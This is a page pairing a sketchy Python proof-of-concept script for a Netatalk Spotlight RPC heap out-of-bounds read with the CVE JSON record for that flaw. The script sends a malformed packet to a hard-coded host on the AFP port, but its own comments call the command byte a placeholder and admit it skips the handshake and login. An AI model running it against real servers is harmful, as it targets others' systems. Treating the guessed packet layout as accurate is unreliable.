CVE-2026-44066

import socket import struct # Conceptual Proof of Concept for CVE-2026-44066 # This script demonstrates how a malformed Spotlight RPC packet # might be constructed to trigger the heap out-of-bounds read. TARGET_IP = "192.168.1.10" TARGET_PORT = 548 # Default AFP/Netatalk port def create_malformed_rpc_packet(): # DSI (Data Stream Interface) Header structure is simplified here. # A real exploit would need to implement the full AFP/DSI handshake. # We focus on the Spotlight RPC payload structure that triggers the bug. request_code = b"\x5c" # Placeholder for Spotlight command # Malformed payload designed to hit the unmarshalling logic # specifically causing an out-of-bounds read. # Length field set to exceed valid buffer size. malformed_length = struct.pack(">I", 0xFFFF) # Padding or specific bytes that the unmarshaller expects payload_data = b"A" * 0x10 packet = request_code + malformed_length + payload_data return packet def send_exploit(): try: print(f"[*] Connecting to {TARGET_IP}:{TARGET_PORT}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_IP, TARGET_PORT)) # Note: Authentication is required (PR:L), actual implementation # would need to handle UAM login first. print("[!] Sending malformed Spotlight RPC packet...") payload = create_malformed_rpc_packet() s.send(payload) response = s.recv(1024) print(f"[+] Received response: {response}") print("[+] Check if service crashed or memory was leaked.") except Exception as e: print(f"[-] Error: {e}") finally: s.close() if __name__ == "__main__": send_exploit()

{"cve": {"id": "CVE-2026-44066", "sourceIdentifier": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "published": "2026-05-21T08:16:22.253", "lastModified": "2026-05-21T15:20:19.040", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Multiple heap out-of-bounds reads in the Spotlight RPC unmarshalling code in Netatalk 3.1.0 through 4.4.2 allow a remote authenticated attacker to obtain sensitive information or cause a minor service disruption."}], "metrics": {"cvssMetricV31": [{"source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "references": [{"url": "https://netatalk.io/security/CVE-2026-44066", "source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c"}]}}